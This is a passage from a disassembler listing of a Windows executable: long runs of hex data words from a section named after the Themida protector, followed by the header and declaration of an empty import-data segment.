0D978BF10h, 8B43272Eh dd 0D1815EF7h, 0A9EC4F3h, 5A07B651h, 9E9h, 0C9640700h dd 1D8B3E4Bh, 0FE9E516h, 0B1000000h, 85CCCA28h, 696AE19h dd 0E5131816h, 4CB0959Bh, 6DB9B4B3h, 804E54D2h, 860F5AD4h dd 0Dh, 8E9h, 0EBC7E400h, 724BED4Eh, 0BBF08ABFh, 7E44F452h dd 0BB666060h, 8B0F8214h, 0 dd 5850F61h, 0BF000000h, 37FF2959h, 0D5BB6661h, 0D197BF45h dd 10E94B1Fh, 0E9000000h, 3C2D0B45h, 9A71578Eh, 0CC82443Eh dd 0E9BB58FDh, 0Fh, 8D4A41C9h, 5597A3EAh, 91644FA0h, 0E9A3713Eh dd 0Eh, 40D397A1h, 60CC37C7h, 0F732D8B5h, 11E9FF87h, 8F000000h dd 9601C489h, 5EB8BDC7h, 719E64C6h, 8D9EA03h, 201DB866h dd 2870F52h, 60000000h, 0B70F5E61h, 66D98AD3h, 231D781h dd 3AC88166h, 0BFDF81DFh, 660977BDh, 662FE6B9h, 2206CB81h dd 0EA8194B3h, 4B11DD46h, 6060F88Bh, 0CCCE8166h, 0F6BF0F70h dd 0D9816661h, 0F615078h, 0BB6F0BFh, 8E8F98Bh, 86000000h dd 87A6D7AFh, 50F220A4h, 9E9h, 0D114FE00h, 0D63AB217h dd 5B5AD092h, 0D8C0FF5h, 0E9000000h, 8, 5429C2AAh, 5BC791Dh dd 0C78B3FB7h, 0FD98B66h, 0F08BDFBFh, 91C3BA60h, 14BF76E4h dd 61017F26h, 0A4B7BAB1h, 60F5F9F9h, 800F60h, 80000000h dd 8B610FE1h, 816661C2h, 0FF973EEh, 810FF3BFh, 6, 870Fh dd 9E80000h, 0A7000000h, 6440BA36h, 63065D60h, 0CE9h, 30102800h dd 4B492784h, 400CDABEh, 7E85986h, 95000000h, 0CDB5EF45h dd 10E9ED34h, 0C9000000h, 5E581A90h, 9CF28166h, 526BD180h dd 5F6EE34Ch, 3F06CE81h, 0CC8A639Bh, 3FBAABB3h, 605656E7h dd 80D3CA80h, 0E96194CEh, 6, 0B1A017DFh, 0E0810AF6h, 531CF7B6h dd 880Fh, 12E90000h, 45000000h, 58FA36E7h, 804C49BEh, 4A45EE21h dd 10E83DA9h, 15810F70h, 60000000h, 0BE86160h, 0E0000000h dd 27E4738Eh, 7B549E9h, 615A4F5Fh, 0F8F0Fh, 0AE90000h dd 6B000000h, 727575B6h, 0FDA033B9h, 0E28166C4h, 0D38AAB8Ch dd 0D9CFBF66h, 0BE8h, 32EB3B00h, 4F99D278h, 529DACC7h dd 0CE9h, 7D87E500h, 2C7A55Fh, 8AA1622Fh, 7E85B04h, 42000000h dd 0EE2C0333h, 12E986EAh, 0F8000000h, 97572F9h, 0C671EB10h dd 539A84C5h, 62011884h, 8B0F5E73h, 0Ch, 6860Fh, 870F0000h dd 0 dd 50D08B66h, 0D0E18166h, 8B665F1Dh, 0B70F53FEh, 850F59F6h dd 1Ch, 5E8h, 29DE8700h, 0BE8B838h, 3C000000h, 2D222859h dd 82CF10ADh, 585A82B5h, 6E9h, 0A3311600h, 0F948D24h, 58Ch dd 48F7B800h, 800F1F37h, 2, 5660D38Bh, 5F51D880h, 585A5657h dd 5E861h, 0CDE0000h, 0F5E9104h, 148Ch, 0FE900h, 0ECBB0000h dd 0A5FF4B98h, 0CC630027h, 7EE667CCh, 8B665E50h, 0AE8F9h dd 36140000h, 26EA8E39h, 11FEAB0Eh, 0E2E0BA66h, 0FE8605Ah dd 39000000h, 8A9379BAh, 0AF5801AEh, 0C28FDF29h, 81661BDCh dd 5A475BE8h, 66EEB161h, 0F9B27BB8h, 50515952h, 8B605B59h dd 0F805B8F2h, 0F613479h, 681h, 4AF08100h, 0F36792Ah, 282h dd 0B0EF8A00h, 0FB8B66E5h, 60ABD781h, 0DA8B67EAh, 14E850h dd 0B9050000h, 49135C2Ch, 307AF74Fh, 0EF8E244Eh, 4F86E3E4h dd 59BB1E6Ah, 58764A07h, 0BE959h, 0E26D0000h, 75820F36h dd 0EFDD6899h, 0EE9BDh, 35350000h, 0E326C949h, 9AA01AC8h dd 690231C7h, 0FE9h, 823E3000h, 7A7B8F0Eh, 0A107E7FCh dd 5D4B0675h, 12E9h, 0CE945B00h, 0CFE8E277h, 0B20379CAh dd 96AC0A2Eh, 0F953D84h, 1781h, 0AE96000h, 0AD000000h dd 0A44EB018h, 96F586F9h, 8B0F93h, 61000000h, 12E8h, 7409B100h dd 9C075CE0h, 5FB0A87h, 58555F6Dh, 8B2A3DA3h, 66525AC1h dd 594133BBh, 0DE953h, 4EB10000h, 0DFBE761Bh, 5808DB4Ah dd 5A8909DCh, 66CBB70Fh, 0FC691B8h, 11E9C9BFh, 0CE000000h dd 0F6F30A0Fh, 0CDC62914h, 0A347BAC7h, 0C6128D62h, 6E8483B8h dd 8BCF8A1Ch, 66F08BF0h, 870FC18Bh, 0 dd 8A2CE780h, 17840FD9h, 60000000h, 0EE9h, 819AE200h, 99B523DEh dd 0AED46228h, 0B14A47EBh, 5851618Bh, 0B70F21B0h, 23EB80F6h dd 13E8h, 1E8C8600h, 0FF17549Bh, 92804791h, 72B00C2Ah dd 0E6A774A6h, 0FE960h, 0C50000h, 2A90B951h, 0C9B2F402h dd 0D73758B9h, 0D6BE663Eh, 8B5A61E3h, 6E9C7h, 70C30000h dd 0B1022938h, 8950BE66h, 0DA816660h, 0FE8F360h, 0C9000000h dd 0A3554051h, 8EF9DC28h, 0BB7CCFAAh, 5953A1FEh, 8B666158h dd 0CB8166CAh, 0BA6061F1h, 55AC957Bh, 6661D68Bh, 0FC200BAh dd 158Fh, 0DE800h, 1420000h, 68AE5364h, 9A99D798h, 5278E356h dd 8F0F5B5Bh, 0 dd 830FF5B0h, 1, 0D18166F5h, 0C7816C7Bh, 428E3B3Fh, 6860Fh dd 0EF810000h, 5C558DCCh, 665FF851h, 6636D081h, 77BA6660h dd 11870FABh, 0E9000000h, 0Ch, 0FB143895h, 3E792F3Fh, 68BE9A9h dd 0C870F61h, 0E9000000h, 7, 50F47834h, 53E715F7h, 0C5D68166h dd 10E85A02h, 56000000h, 1CEF3682h, 7FF0DEBCh, 7F00B3E3h dd 80BD0773h, 515A99D3h, 0A78FEF81h, 805F3F80h, 816654C1h dd 0FB61AF3h, 0EE80C8B7h, 0E9816691h, 880F1316h, 8, 810F50h dd 5A000000h, 0B466CE81h, 0FFBA5BC4h, 0E956FBBBh, 6, 8A8E19A5h dd 0BE669B5Bh, 0BE93299h, 75000000h, 38396885h, 7135EDA8h dd 0F88B6568h, 4800Fh, 0B8660000h, 81BA67BEh, 602384C1h dd 0E9D2B70Fh, 6, 0F745EDF8h, 5661AC70h, 0D0B70F58h, 8B30C480h dd 0F9BF0FD6h, 5E860h, 65F20000h, 0FF4F693h, 86h, 0DF815A00h dd 4F4C7C5Eh, 0DE8B6661h, 9E9h, 3FB7A900h, 0E3230C8Bh dd 0E281E177h, 41087C8Fh, 0D881CA8Bh, 7D36B161h, 0EA81EFBFh dd 3810F3Ch, 80000000h, 8B6680CBh, 3800FD6h, 66000000h dd 0BF0FFA8Bh, 0B5BF66FFh, 6E915h, 841D0000h, 56C239B2h dd 6E9h, 0C6A41D00h, 0FCB47D2h, 890FD7B7h, 4, 9C88BF66h dd 4850Fh, 8B570000h, 0E8605AFAh, 0Dh, 0D772FDDh, 0AD8936A4h dd 6A0C2474h, 8F0F5Dh, 58000000h, 7E9h, 0AF433D00h, 25B356AAh dd 5E861h, 6B120000h, 52671BA5h, 0BE9h, 3AE77900h, 4755BC29h dd 0DDE7E204h, 0B9BF595Fh, 8B1BC4DBh, 725ABBC3h, 8B6671F0h dd 0F6BB50D6h, 5A7A1100h, 880FD88Bh, 6, 9272C381h, 29BB6CA0h dd 66341AEDh, 195ED781h, 6E957h, 0D9020000h, 78BA7E70h dd 0B7B3F958h, 0CE9h, 0C4B23100h, 0C01F5AB0h, 0A2CCB965h dd 14C38178h, 5379A98Ah, 2880Fh, 5A510000h, 0F0E88158h dd 561C43BAh, 5E8h, 0E6F37A00h, 0CE9D3B2h, 8000000h, 0AD56BCD4h dd 79B583CBh, 5AE20B64h, 6E858h, 326B0000h, 0E7D04F8h dd 8CD68166h, 0E980584Ch, 60CE8B8Ch, 0E1D353BBh, 8161F909h dd 105778F3h, 914DBF4Bh, 8B66499Bh, 66CF8AD9h, 8166C68Bh dd 60821FC1h, 8E9h, 4A7E8000h, 969443B4h, 0DB8060DCh, 0BE8F1h dd 2C720000h, 0C9956ECFh, 0DD5469BAh, 616159A3h, 3D98166h dd 0CE8B6682h, 48A0Fh, 0BA660000h, 8C0F73ABh, 6, 3AF1D081h dd 8B660EFFh, 60F960FEh, 0FBF381FCh, 61366779h, 0F4D78161h dd 8A2F2132h, 0D9BF0FE1h, 18C0Fh, 0E9F80000h, 0Bh, 0BBD581D3h dd 751C3671h, 0BB9AF013h, 1201525h, 0E8CBB70Fh, 0Dh, 51DD6253h dd 6A56538Ch, 0A97A760Fh, 0D8B70F0Dh, 61F5605Ah, 504E02BFh dd 0F0805331h, 0BF0F5A54h, 1B8F0FC9h, 53000000h, 14E9h dd 6ECD7700h, 5DF2C82Bh, 0F0661F10h, 0CEF181D7h, 793B4C0Ah dd 60565EB2h, 8E9h, 76401C00h, 22838245h, 6E986h, 661E0000h dd 91AE9AC1h, 81665E61h, 0BF1065F0h, 3B8A70B6h, 0FE9h dd 0DEDAA000h, 0CCFFDC86h, 333A91A8h, 7C64CCFBh, 233DBA60h dd 0E680143Ah, 10E961BFh, 91000000h, 1C1A4C3Bh, 78534EF9h dd 2357A08Dh, 66198F7Ch, 0B60BD381h, 0FE9F9h, 0AAEA0000h dd 36D5CA83h, 8A513318h, 0C936E454h, 0F56F505h, 6058FFBFh dd 0BE9h, 0B21E700h, 0DA4C7B69h, 5237EDE2h, 15D886BBh dd 0AE96151h, 0FE000000h, 0FDC5E9FBh, 97CD9657h, 0F08B66CFh dd 11E960h, 0C6540000h, 0EFE14682h, 0AD1C0E51h, 4FA22D29h dd 81731DD6h, 82BB1DF7h, 8B666110h, 8841B9D6h, 0AE8311Eh dd 3F000000h, 0C6FDDA09h, 2FE84259h, 0FEE0BA08h, 0BB59614Dh dd 65E5A74h, 0CFB96653h, 0DE805FAEh, 0B86656FEh, 815907B2h dd 835013C7h, 10E821h, 5C10000h, 658328Bh, 207F37F0h, 0C3528007h dd 0D18A784Bh, 870F6058h, 0Ch, 7E9h, 0C0EC100h, 2C355654h dd 6106C380h, 0AE8h, 0CB52D800h, 419B31FEh, 5806BB24h dd 5850Fh, 0D7B80000h, 8B002A7Ch, 0F3FB0F7h, 0BB66C0BFh dd 2BB2B838h, 38E0F60h, 0F000000h, 840FF3BFh, 1, 8B6661FCh dd 0F98B66F0h, 8B66D68Bh, 14E9DAh, 46C80000h, 0CDC1438Fh dd 0E5416A08h, 263B8311h, 411B4F3Dh, 0D78BEAA4h, 36F7B966h dd 8B58DC80h, 6016B5FEh, 0BA47E380h, 204C73B3h, 50606061h dd 870F59h, 61000000h, 0C6816661h, 0DE98A74h, 0B1000000h dd 2A8B1D5Eh, 0F147F80Bh, 0BA1877D4h, 8AF2BF0Fh, 0FE8B4F8h dd 0BF0FCFBFh, 0D0B70FC1h, 40EC8050h, 8A0F6059h, 1, 0FE8F8h dd 0F09B0000h, 0EF4595F2h, 0ED34CDB5h, 0AE4AB809h, 0F615BC1h dd 51F5F0BFh, 0BF0F5AF8h, 12E9CEh, 4BE0000h, 1759F5EBh dd 0B756B66Ah, 0A9D7A8E2h, 81B57BE0h, 0C9BF0F50h, 0DE81665Fh dd 66FC0457h, 817A09B9h, 8B071F7h, 7E922h, 2C7D0000h, 8614D560h dd 0F6060BAh, 84h, 0F61F800h, 1483h, 0EE800h, 9A410000h dd 0CBAA622Eh, 0DE8CC636h, 0B718EAC0h, 13E9615Ah, 38000000h dd 0F1C1FFC7h, 7EBBFC0Eh, 768BF9D3h, 8C7435AEh, 0F573C64h dd 535FCFBFh, 0DCEDB866h, 14E95Bh, 0F1970000h, 0FFBE1684h dd 56D24F7Eh, 95B7CFEBh, 47F138E8h, 81667F20h, 8A594DF7h dd 0DE8F7h, 2CF30000h, 2F4C5E7Eh, 864C070Ch, 0FECFAA2h dd 108Ah, 0BE900h, 16D60000h, 96C2F928h, 0C50F8F42h, 880F5983h dd 8, 8A0F56h, 5F000000h, 0A870Fh, 8A600000h, 8C0FF8h dd 61000000h, 8E8h, 0F52D3A00h, 486D64EBh, 5EB5B6A5h, 0CFB70F60h dd 61C38B66h, 0E860FCFCh, 8, 0D8E835CAh, 80008EEFh, 61585B50h dd 10E937B1h, 1A000000h, 9BED5E81h, 0D6FF261Dh, 1F6F264Dh dd 0E827028Fh, 6, 42C56CA8h, 8B66C11Ch, 0FC535FC7h, 0C2BF0F5Ah dd 12E9h, 137FE000h, 6B85F622h, 8197AFC6h, 4E41E5B1h, 0E89B916Bh dd 0Bh, 0AB17D02Bh, 3384FCD1h, 0FD3DF9Dh, 665FCFBFh, 0E781F38Bh dd 50A50373h, 3870FFCh, 0F000000h, 0CE80C8BFh, 0E8815358h dd 72D3E5F5h, 85F08059h, 9CC8BA66h, 0E9D1C380h, 0Fh, 6755DCE4h dd 43A5E3D9h, 4F6DF597h, 0FBE944Bh, 38Eh, 0F98B6600h, 567BB966h dd 0FDF8B60h, 287h, 61F78B00h, 8B1BD280h, 0EDF681D8h, 664CEF6Eh dd 2071C281h, 5E8h, 9E2DED00h, 0FB8BD5D8h, 0DE80515Fh dd 0FA8B5B2Dh, 8BF8B70Fh, 0FBB70FFAh, 0E960FC8Ah, 0Eh dd 136E255Eh, 0F4C767E3h, 0A1ADE4A1h, 81616623h, 7BAEE6EAh dd 34C48072h, 0E6B34AB8h, 3AF28050h, 800Fh, 0E0810000h dd 2B41DFF8h, 0C890Fh, 880F0000h, 6, 0DB50D881h, 8E92682h dd 18000000h, 5F6FE686h, 0BA6EF0E7h, 3A05D810h, 6E9h, 9B68D700h dd 6614C60Eh, 0BEC33ABEh, 23CF58F5h, 7DEB8166h, 5E870h dd 961F0000h, 66FBD4C5h, 5317DB81h, 8C0F5Eh, 0E9000000h dd 5, 8988D96Ah, 0FF38B1Fh, 8D0FD7B7h, 0Ch, 6E8h, 0DC147B00h dd 59853425h, 0CA8B6656h, 0FDE8A5Fh, 8C0FD2BFh, 7, 97E08060h dd 5161DFB3h, 0D0BF0F5Bh, 52ABB866h, 0AE9h, 0BE308A00h dd 0FA1219D1h, 0FD667FCh, 6653CFB7h dd 665FC18Bh, 0FE8ADB81h, 0DE9h, 0EFCCD400h, 0B4C04852h dd 60E70F41h, 0F5386C6h, 68Bh, 870F00h, 5A000000h, 9E9h dd 1478D400h, 81FB16BBh, 0BBFC4A2Dh, 6F940791h, 0BE9h dd 5EA3A300h, 0B286DC5Fh, 38C9F333h, 0BF0F77B6h, 0FE950C7h dd 79000000h, 8AAD2FF3h, 0D9CD5B8h, 4CA05CEBh, 8159C3C9h dd 0B5A62DBh, 4BA2BE2Ch, 870F23B2h, 7, 0F6816650h, 5359B5F4h dd 0F5A9CB6h, 584h, 0DEB7BE00h, 0B2F50B0Bh, 0B6F08B58h dd 0F55FB236h, 0BB66D3B0h, 8E83D93h, 0B2000000h, 0C38205CEh dd 5684663Bh, 5E5E5E57h, 18F0Fh, 8BF90000h, 0E8C0FDFh dd 0E9000000h, 9, 29224C83h, 0FE20C074h, 88ABAB8h, 0BF662CF8h dd 0EE97E80h, 84000000h, 0E44508DEh, 4CD568C1h, 0DDD55BECh dd 0DE8B663Ah, 0FE6CBA66h, 13E9h, 0CC3C0B00h, 0FDE4F1F7h dd 88A2BC60h, 115E5DA8h, 84A68266h, 0FC3DE80h, 48Fh, 47BE6600h dd 7E810h, 34F90000h, 359B4579h, 5F70B1DFh, 830F5F52h dd 18h, 13E9h, 55574200h, 0ADD477E0h, 0CE076ED1h, 2CF32840h dd 2F4C5E7Eh, 992AF681h, 0BA667CECh, 0CA819179h, 3C64C8D3h dd 1F69BF66h, 0AE8h, 188A0D00h, 46FC4B57h, 0B8A562CBh dd 42142C09h, 5AC0BF5Bh, 0BE6637DCh, 0D0811AF1h, 6EE14CFEh dd 0BEE2E780h, 51968823h, 66FB8B66h, 977ACE81h, 6800Fh dd 0D1810000h, 3248B517h, 0FE8h, 52360F00h, 0D67CFC69h dd 4FC0E93Ch, 0DD746484h, 38B041B8h, 0C88B587Bh, 0FDBBF0Fh dd 1B83h, 13E800h, 0D2D50000h, 0B98D3374h, 0E04B4B64h dd 918831CDh, 0D6AA2F1Ah, 59616082h, 0B3C28B66h, 58C0F88h dd 66000000h, 0FF10D781h, 0C18B51F8h, 0AE958h, 0A6F60000h dd 75608CB0h, 18BA9E7Fh, 8890FFCh, 52000000h, 3A8DE681h dd 665F3C7Dh, 1C8FCE81h, 85D8EA81h, 12E8590Ah, 71000000h dd 1431E1B0h, 0DC49AE02h, 1AD84DC8h, 0B7058590h, 8E0F594Bh dd 2, 14E9C78Bh, 0F7000000h, 940E593Ah, 60C7E3B3h, 3DA751E6h dd 0E92E4306h, 60807252h, 2840Fh, 0CF8B0000h, 11E9h, 9BE62A00h dd 126ADB9Ch, 0DB581D2Dh, 5E3C5D26h, 66615322h, 0E2A0C281h dd 0E8DABF0Fh, 9, 341E4F7Ah, 8DFCC24h, 7E9600Ch, 39000000h dd 6B970992h, 0B70FF428h, 665961C0h, 0D642F781h, 12810Fh dd 0DE90000h, 0A0000000h, 1DE3D1C8h, 3515DD7Eh, 6C3DC529h dd 840FD78Bh, 0 dd 0E8D08B66h, 12h, 2E79BF97h, 2062FC87h, 0D8DF1CC0h, 9218DF5Ch dd 0BE60D492h, 7BF3564Fh, 850Fh, 5E610000h, 13E9F9h, 43800000h dd 0BEC35740h, 92FD8E82h, 0EF888F85h, 0FC568DFEh, 0DABF0F23h dd 4A432CB8h, 0E6816666h, 0EB817EFCh, 4B989558h, 7E8EE8Ah dd 6B000000h, 6238A3E5h, 0E68AE0C4h, 0CEB70F59h, 10E9h dd 1FEC9000h, 95D0D9A2h, 82F18DDBh, 896B8677h, 0CE948h dd 0DA180000h, 6A72ACA6h, 3AD7E3C3h, 6060FA39h, 0B70F2FB7h dd 0BA6661CFh, 0F61F292h, 987h, 0E8806000h, 45B8667Ch dd 0DE8B61CAh, 0BE9h, 5E648600h, 0AAC6ACDAh, 655D3937h dd 8C88D281h, 0D98B4462h, 0D68B6651h, 0D68B665Eh, 0F61F960h dd 0E84h, 6E800h, 80DC0000h, 0BF329011h, 0F586160h, 0E860DFB7h dd 0Eh, 5B6489EFh, 3EB516EDh, 0D68D7E4Dh, 0B70F2FC3h, 0BA6658D2h dd 8B61F2FCh, 8D681F0h, 0F833C9F4h, 0AE952h, 71E30000h dd 88687EAEh, 0BB9BA3CEh, 0FDD3805Fh, 0E5DC8060h, 0F729BA66h dd 8B96661h, 0D78B6647h, 0BE956h, 0C9570000h, 315E7D54h dd 0B47C7AFBh, 0F6805EADh, 1B43BA3Ah, 0E9F5484Eh, 8, 9C6A85BFh dd 2466DB98h, 0AD9CD381h, 71B0423Eh, 8B6640B3h, 0F0B70FC6h dd 0FBC18166h, 0D1B70FCFh, 8166CBB0h, 66DB1EEEh, 0F1BEDBBh dd 288h, 8ADFB000h, 0FBBF0FCBh, 2820Fh, 0A9B50000h, 0F5604FB6h dd 61FBD480h, 61AEE181h, 0C9801304h, 5870F84h, 66000000h dd 0E4C5E881h, 7E9h, 9F881F00h, 806A31BFh, 0FD0C480h, 1388h dd 0EE900h, 0BB970000h, 27C2F04Bh, 0D932F227h, 0C20E5FC0h dd 81C18B66h, 538C8BF6h, 0AE93Bh, 55B00000h, 42CFD013h dd 0BF6A264Eh, 1860F53h, 0FC000000h, 83D0815Bh, 0F7F0479h dd 5951C2BFh, 9E9h, 79E1E800h, 85388CE8h, 14E8AC3Dh, 4A000000h dd 4BF4414Bh, 760AE3Bh, 7301EB40h, 0E897C061h, 0F76CA2Ah dd 388h, 0FBF18000h, 0E952565Bh, 6, 0EB168CDh, 5E5F50BCh dd 7800Fh, 0BF600000h, 4F98EFD9h, 8E861h, 901C0000h, 0C6A86B17h dd 0C680239Eh, 0E9535FE1h, 14h, 2AD753BBh, 1553219Fh, 5A83BA4Bh dd 6137C2E0h, 41D1365Ch, 0BF0F605Eh, 0EE9CBh, 0CF6E0000h dd 0EC24D470h, 207E3653h, 0E6FEA60Ch, 64E68161h, 6059638Eh dd 880FD4B3h, 2, 0E8616160h, 0Ch, 7873C204h, 0A0E8EDADh dd 6D4F9F98h, 0F5FF88Bh, 6060C8BFh, 9E8F9h, 0CEFA0000h dd 0CC3E52FDh, 5BBC1859h, 0AE861h, 508A0000h, 0B9AA088Dh dd 78C1D43Bh, 615A5E51h, 58A0Fh, 8B600000h, 0E961FCF1h dd 0Ah, 3591FD87h, 0CE8F1B8Dh, 0E960B0F8h, 0Eh, 0C11374F2h dd 932C2BDh, 32FC3777h, 0CB816873h, 2594AFFDh, 0D8816661h dd 0D881EA78h, 68CCE7C9h, 0E88044B4h, 15850FAEh, 0E9000000h dd 10h, 0C0D46CA9h, 3D65FCC0h, 995766CCh, 483CA71Ah, 78EA8166h dd 0FB8B66C3h, 2810F51h, 50000000h, 0BE66585Eh, 850FE39Ch dd 1, 11E9F8h, 0CD510000h, 0E80A0298h, 7CD2AD27h, 0CA7E00ACh dd 0E8473B42h, 8, 1488DE04h, 0E1F5838Bh, 0BDDDEE81h, 0E95B2A80h dd 14h, 98C6702h, 659CEDD9h, 7ACC519Dh, 0AF49A07h, 0FAD7A3AAh dd 0F9BF0FFCh, 0FC6BF0Fh, 389h, 0CA8B6600h, 8A0FF08Bh dd 1, 10850FF9h, 0E9000000h, 0Bh, 0BF1714C4h, 9F015FF9h dd 0E8C4C6BEh, 5, 0E9172E49h, 59B2B159h, 108h dup(46F8C95Ch) dd 252DE15Ch, 0E5h dup(252DE0C5h), 0BC2DE0C5h, 101h dup(0BC60FB1Bh) db 1Bh, 0FBh word_580046 dw 0BC60h ; DATA XREF: ___:off_427A80o ; ___:00427A88o ... dd 320h dup(0BC60FB1Bh), 20E6FB1Bh, 65h dup(20E62C28h) dd 4C952C28h, 0BBh dup(4C956F71h), 2B6DB771h, 19Eh dup(2B6DB73Bh) dd 4CC56F3Bh, 18Bh dup(4CC56F55h), 5056F55h, 2C8h dup(5056436h) dd 0CCCCCC36h, 6D8h dup(0CCCCCCCCh), 2B2h dup(0) db 2 dup(0) word_584F4E dw 0 ; DATA XREF: ___:0042BEA8o align 100h Themida_ ends ; Section 5. (virtual address 00185000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00185000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 585000h align 2000h _idata2 ends end start